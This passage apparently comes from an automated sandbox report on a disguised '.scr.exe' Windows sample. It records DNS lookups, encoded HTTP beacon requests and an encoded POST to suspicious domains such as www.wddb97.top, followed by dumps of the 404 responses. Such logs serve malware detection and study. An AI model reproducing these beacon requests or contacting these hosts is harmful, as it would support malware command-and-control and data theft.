Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe

Code function: 0_2_004CCE44 InternetReadFile,SetEvent,GetLastError,SetEvent,

0_2_004CCE44

Source: global traffic	HTTP traffic detected: GET /4qxi/?OvV=2njD6f80EDOLQ8&wz4=2e2Lyydb5YXufeuqFd6wHPkWuEpHgF+t8X6R7x/Chu/ldxqUFwOFXImYee7E7KlqqCMuAjd7uJeZN9yFXwONOjr0nxS6++UxPbCo/R3/4PV751NgF4k6l5M= HTTP/1.1Host: www.thesquare.worldAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; ASU2JS; rv:11.0) like Gecko
Source: global traffic	HTTP traffic detected: GET /p75v/?OvV=2njD6f80EDOLQ8&wz4=GLmvlUrKOeNEevY3wcyfjSkNrwRDbMR2/x32zMvR34mmT0X9ObY05SVA9W4yUMrr2Yq11ERvKU6w2wYb4X7EbFt4LfTn3Wu5NGMirqATx7GUx0yxlSOAJso= HTTP/1.1Host: www.wddb97.topAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; ASU2JS; rv:11.0) like Gecko
Source: global traffic	HTTP traffic detected: GET /ro4w/?wz4=c7bs7cBJE/6WeNDz6y7wfs4csA5ai8mWfunIFb5NDUjHoY3en1z9O1W0OakyKWwaCum+/W1z6qbtx3tl+iJ0V9nyUJg4fcAQQsDkMDUAlXZwvkRINEDVO9c=&OvV=2njD6f80EDOLQ8 HTTP/1.1Host: www.nexula.websiteAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; ASU2JS; rv:11.0) like Gecko
Source: global traffic	HTTP traffic detected: GET /rpjd/?wz4=yOJpbVbkgz0HtUwQYARMSThcLcopmrPoDVX6GqNwoWWXZF3pcIj1Y13LV6gW4nMVJ2J858d+IDhJ+laaNqfHK1c6MutgW040XFAhxno1AdPNbACR1ywEbhk=&OvV=2njD6f80EDOLQ8 HTTP/1.1Host: www.prediksipreman.fyiAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; ASU2JS; rv:11.0) like Gecko
Source: global traffic	HTTP traffic detected: GET /qjug/?wz4=VcMkcuIRceq81+g9yOCv0sbld0olDHkRvlNhYh95NOpnwjcC/r1DFPFDhAQ/BZSpNAD5Fbv04pxr6m2h9PMUHq+9H+1HT0zuQhfUSGVBQeWRfQVA8fdlyIU=&OvV=2njD6f80EDOLQ8 HTTP/1.1Host: www.scottconsults.topAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; ASU2JS; rv:11.0) like Gecko
Source: global traffic	HTTP traffic detected: GET /dim8/?wz4=SI5ZCVgJbtC8ikIAaDbl0c4+a+swA4Oej6uVn92gSwZctgLMHnh4qXUXZe4N7Wh4DCFNfNClZUM8FDTYBsBE5loeshCr6I6FGtX7Gz1ZeQkIvaXZY4DJTLc=&OvV=2njD6f80EDOLQ8 HTTP/1.1Host: www.2q33e.topAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; ASU2JS; rv:11.0) like Gecko
Source: global traffic	HTTP traffic detected: GET /yysf/?OvV=2njD6f80EDOLQ8&wz4=587F8uRRvdNyXp392stmA/LSb7Spi8c8LmJfnRupxm2/Wn33qNRES9K4qtAStdZkGkX6B9loQ5/VkD04mezEqEUp6fJ/QFk+OhJrfgesanG1zCyT/BctW7c= HTTP/1.1Host: www.7wkto5nk230724z.clickAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; ASU2JS; rv:11.0) like Gecko
Source: global traffic	HTTP traffic detected: GET /otgv/?wz4=mPj2soEUEFmq5Xu56Ev9ENs/GIe87AemMTFSPosGtz7M/tXNad3AOcc3teRO2drll+qYOuNJorQ/HJUWSqoYkO/lFhsMOlB8p4kTaBK5nEPe9NarMUavWdI=&OvV=2njD6f80EDOLQ8 HTTP/1.1Host: www.livingslab.netAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; ASU2JS; rv:11.0) like Gecko
Source: global traffic	HTTP traffic detected: GET /rdfj/?wz4=W22N1n9VK5BsDegKssi59d1tdmClQzQM6krhrjkO5qQUOhZ23fqPP0igRbfRb/LgqczUnn1NrDdL/bN6nwlekL5Do//GTuaTPhPlYdtLOoB+gLN1EC4FlrA=&OvV=2njD6f80EDOLQ8 HTTP/1.1Host: www.quickcommerce.cloudAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; ASU2JS; rv:11.0) like Gecko
Source: global traffic	HTTP traffic detected: GET /8vp1/?wz4=/LTgXn1km3iwlVyiegwnGjWZZFB0eLisfcmkyyqxOnWJ8H9CeAgPjsH/KIvj3CyMdhcMqJeWq/63o3TMWNYzsf+ek40CYofT8u9WJYZhwl3Hq5liXp4GPpE=&OvV=2njD6f80EDOLQ8 HTTP/1.1Host: www.xpremio.onlineAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; ASU2JS; rv:11.0) like Gecko

Source: global traffic	DNS traffic detected: DNS query: www.thesquare.world
Source: global traffic	DNS traffic detected: DNS query: 15.164.165.52.in-addr.arpa
Source: global traffic	DNS traffic detected: DNS query: www.revolutionmusic.net
Source: global traffic	DNS traffic detected: DNS query: www.wddb97.top
Source: global traffic	DNS traffic detected: DNS query: www.nexula.website
Source: global traffic	DNS traffic detected: DNS query: www.prediksipreman.fyi
Source: global traffic	DNS traffic detected: DNS query: www.scottconsults.top
Source: global traffic	DNS traffic detected: DNS query: www.xtelify.tech
Source: global traffic	DNS traffic detected: DNS query: www.2q33e.top
Source: global traffic	DNS traffic detected: DNS query: www.7wkto5nk230724z.click
Source: global traffic	DNS traffic detected: DNS query: www.livingslab.net
Source: global traffic	DNS traffic detected: DNS query: www.quickcommerce.cloud
Source: global traffic	DNS traffic detected: DNS query: www.cybermisha.store
Source: global traffic	DNS traffic detected: DNS query: www.xpremio.online

Source: unknown

HTTP traffic detected: POST /p75v/ HTTP/1.1Host: www.wddb97.topAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Origin: http://www.wddb97.topReferer: http://www.wddb97.top/p75v/Cache-Control: no-cacheConnection: closeContent-Length: 200Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; ASU2JS; rv:11.0) like GeckoData Raw: 77 7a 34 3d 4c 4a 4f 50 6d 69 4b 66 54 65 49 42 4d 75 74 42 7a 76 7a 46 72 68 49 79 71 51 77 62 52 4f 74 6a 6b 7a 54 52 76 2b 50 44 34 49 43 4c 57 31 6e 35 4b 4c 78 48 37 68 34 66 31 56 64 51 52 62 62 2b 78 65 32 53 74 58 64 38 64 68 61 41 77 46 6f 56 2f 32 7a 6d 54 46 52 6f 48 38 61 58 6b 6b 65 37 4d 33 34 37 69 71 35 63 72 72 2b 54 31 58 79 44 6d 53 6d 79 64 73 35 58 66 41 70 79 6d 4b 4b 70 62 71 30 30 79 77 6b 49 73 6d 4a 48 45 6e 70 77 59 71 61 75 76 47 73 4c 50 52 31 74 59 71 73 37 66 4e 75 6d 41 61 35 74 50 39 79 2f 78 4c 6e 39 73 78 61 37 62 70 72 32 67 50 38 6e 2b 47 53 6c 46 67 3d 3d Data Ascii: wz4=LJOPmiKfTeIBMutBzvzFrhIyqQwbROtjkzTRv+PD4ICLW1n5KLxH7h4f1VdQRbb+xe2StXd8dhaAwFoV/2zmTFRoH8aXkke7M347iq5crr+T1XyDmSmyds5XfApymKKpbq00ywkIsmJHEnpwYqauvGsLPR1tYqs7fNumAa5tP9y/xLn9sxa7bpr2gP8n+GSlFg==

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 14 Jan 2025 09:24:53 GMTContent-Type: text/htmlContent-Length: 138Connection: closeETag: "66aa3a46-8a"Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 14 Jan 2025 09:24:56 GMTContent-Type: text/htmlContent-Length: 138Connection: closeETag: "66aa3a46-8a"Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 14 Jan 2025 09:24:58 GMTContent-Type: text/htmlContent-Length: 138Connection: closeETag: "66aa3a46-8a"Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 14 Jan 2025 09:25:01 GMTContent-Type: text/htmlContent-Length: 138Connection: closeETag: "66aa3a46-8a"Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 09:25:07 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 09:25:09 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 09:25:12 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 09:25:14 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Foundkeep-alive: timeout=5, max=100content-type: text/htmltransfer-encoding: chunkedcontent-encoding: gzipvary: Accept-Encodingdate: Tue, 14 Jan 2025 09:25:20 GMTserver: LiteSpeedx-turbo-charged-by: LiteSpeedconnection: closeData Raw: 31 33 35 41 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cc 5a eb 92 e2 4a 72 fe 7f 9e 02 b7 c3 f6 6e 68 7a 74 07 d1 db 3d bb ba 21 09 90 90 04 02 84 c3 71 42 e8 8e ae e8 0e 1b 7e 20 bf 86 9f cc 25 ba 7b 9a 66 ba cf cc 3a fc c3 35 3f 1a d5 25 2b 2b f3 cb cc 9a cc fa ed b7 df 1e ff 89 5b b0 2b 53 e5 07 41 95 c4 df 7e 7b 7c fe 33 00 ed 31 70 2d e7 db 6f 97 9f 89 5b 59 60 46 95 df bb c7 3a 6c 9e ee d8 2c ad dc b4 ba af 4e b9 7b 37 b0 9f bf 9e ee 2a b7 ab e0 9e c4 5f 06 76 60 15 a5 5b 3d d5 95 77 4f dd 7d 4a c7 b2 03 f7 be 5f 5f 64 f1 15 a1 34 bb b7 fb a1 4f 17 aa 85 e5 27 d6 3f b2 82 ef f2 b0 70 cb ab 25 c8 3b ea a9 95 b8 4f 77 4d e8 b6 79 56 54 57 d3 da d0 a9 82 27 c7 6d 42 db bd bf 7c 7c 19 84 69 58 85 56 7c 5f da 56 ec 3e a1 5f bf 93 aa c2 2a 76 bf 11 08 31 50 b2 6a 30 c9 ea d4 79 84 9f 3b 9f 45 59 56 a7 d8 1d f4 72 7b 11 97 5d 96 2f 7c f4 a2 de 67 ce 69 f0 f7 cb d4 fe b3 6f 1e 90 ce bd 67 25 61 7c 7a 18 d0 05 d8 f6 cb 40 74 e3 c6 ad 42 db fa 32 28 ad b4 bc 2f dd 22 f4 fe f2 e3 b2 32 3c bb 0f 03 94 c8 bb f7 83 71 98 ba f7 81 1b fa 41 05 86 bf 12 18 45 8e 50 02 1b bf 9f b5 b7 ec c8 2f fa 33 00 15 c5 59 f1 30 f8 67 ef d2 de 4f 7b 1d c3 26 38 86 23 ef c7 72 cb 71 c2 d4 7f 18 dc f4 27 56 e1 87 e9 bb ee ff fc ce 7e e9 da 55 98 a5 5f c0 d1 b3 ca 2d 6e e4 e1 84 65 1e 5b 40 16 fb 38 b3 a3 ff 83 ed be f6 f8 b3 80 44 6e 77 7a 66 f2 3e 76 3d 20 25 ab ae b2 f7 9b bd 0c 17 cf 52 fc 71 fc ed ec 03 14 b9 d6 c0 db 49 bf 02 44 e6 59 5a ba f7 61 ea 65 37 07 7d 95 2b 7b 69 6f 7b 5f 2d 2f 2b ab aa 4b a0 1d c7 bd 59 7c 41 cd b3 fa 49 04 f9 97 3f 5a 5d b8 56 99 a5 9f af c7 c8 eb f5 3d 24 3f 53 c1 15 67 17 99 da d5 e5 5c 5f be 6b 16 9c b7 df eb be 77 14 37 1b be 9e 16 b9 b4 0f f9 ed b1 d4 03 03 18 de 07 e2 ba 42 6b e1 e6 ae 05 74 06 dc c8 f3 cf 37 72 3d fb 57 33 5f 77 c5 c6 38 4d d0 ef a7 bd 8e 4d 2e ed 6d ec ea 94 b7 1c 59 9f 1c ea d7 49 dc 87 95 9b 94 37 64 be 23 09 03 38 fa c1 94 c2 f4 cd 94 c7 f8 27 40 bb d6 c7 0d f5 17 1c ef b3 aa ca 92 87 41 bf c7 db 61 7b 79 5d 61 09 1d 5e 0f 5e 49 e2 1d fd 5b 31 f4 ea be 77 5c 3b 2b ac 5e 7f 0f 03 e0 52 dc a2 77 42 ef 37 7a 95 38 f0 47 0c 7b a5 8d 4f f7 79 08 b2 c6 2d ae f0 f5 9e 8d 07 2f b3 eb f2 f3 61 0b f8 99 e6 d6 72 5e 99 c0 e8 21 31 1e be 31 78 c5 c4 e7 28 7e f5 6b 1f 29 ea 17 c4 58 c7 37 ba f9 6e 69 61 7a f1 d9 1f f8 bc 38 2c ab fb 4b 58 e9 01 9f ba 83 ac ae ca 10 38 84 fe e3 8d fd 5e 91 af dc dd 38 e3 ef f0 ba ea 7f 3b 2d e0 29 0e 6f d8 f2 e2 ac b7 af de 33 be df e1 a2 69 2b 0e 7d a0 64 1b dc 10 dc e2 6d fc 8d e4 d7 1b bb 79 01 fd 47 3b 5d 02 2e 88 51 9f f9 b0 de 11 dc 87 89 e5 df aa f1 fb a1 3e f5 bd 97 a5 fd 2d 07 04 a8 db f3 f5 31 b7 7d 89 8f fb 2c 76 de 4e d1 cb f1 fa 94 3f ca a0 cd 0a e7 7e 0f 30 12 81 18 d5 ff b9 b7 e2 f8 3d 81 5f 3a 15 08 ea 00 dc 03 20 2
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Foundkeep-alive: timeout=5, max=100content-type: text/htmltransfer-encoding: chunkedcontent-encoding: gzipvary: Accept-Encodingdate: Tue, 14 Jan 2025 09:25:22 GMTserver: LiteSpeedx-turbo-charged-by: LiteSpeedconnection: closeData Raw: 31 33 35 41 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cc 5a eb 92 e2 4a 72 fe 7f 9e 02 b7 c3 f6 6e 68 7a 74 07 d1 db 3d bb ba 21 09 90 90 04 02 84 c3 71 42 e8 8e ae e8 0e 1b 7e 20 bf 86 9f cc 25 ba 7b 9a 66 ba cf cc 3a fc c3 35 3f 1a d5 25 2b 2b f3 cb cc 9a cc fa ed b7 df 1e ff 89 5b b0 2b 53 e5 07 41 95 c4 df 7e 7b 7c fe 33 00 ed 31 70 2d e7 db 6f 97 9f 89 5b 59 60 46 95 df bb c7 3a 6c 9e ee d8 2c ad dc b4 ba af 4e b9 7b 37 b0 9f bf 9e ee 2a b7 ab e0 9e c4 5f 06 76 60 15 a5 5b 3d d5 95 77 4f dd 7d 4a c7 b2 03 f7 be 5f 5f 64 f1 15 a1 34 bb b7 fb a1 4f 17 aa 85 e5 27 d6 3f b2 82 ef f2 b0 70 cb ab 25 c8 3b ea a9 95 b8 4f 77 4d e8 b6 79 56 54 57 d3 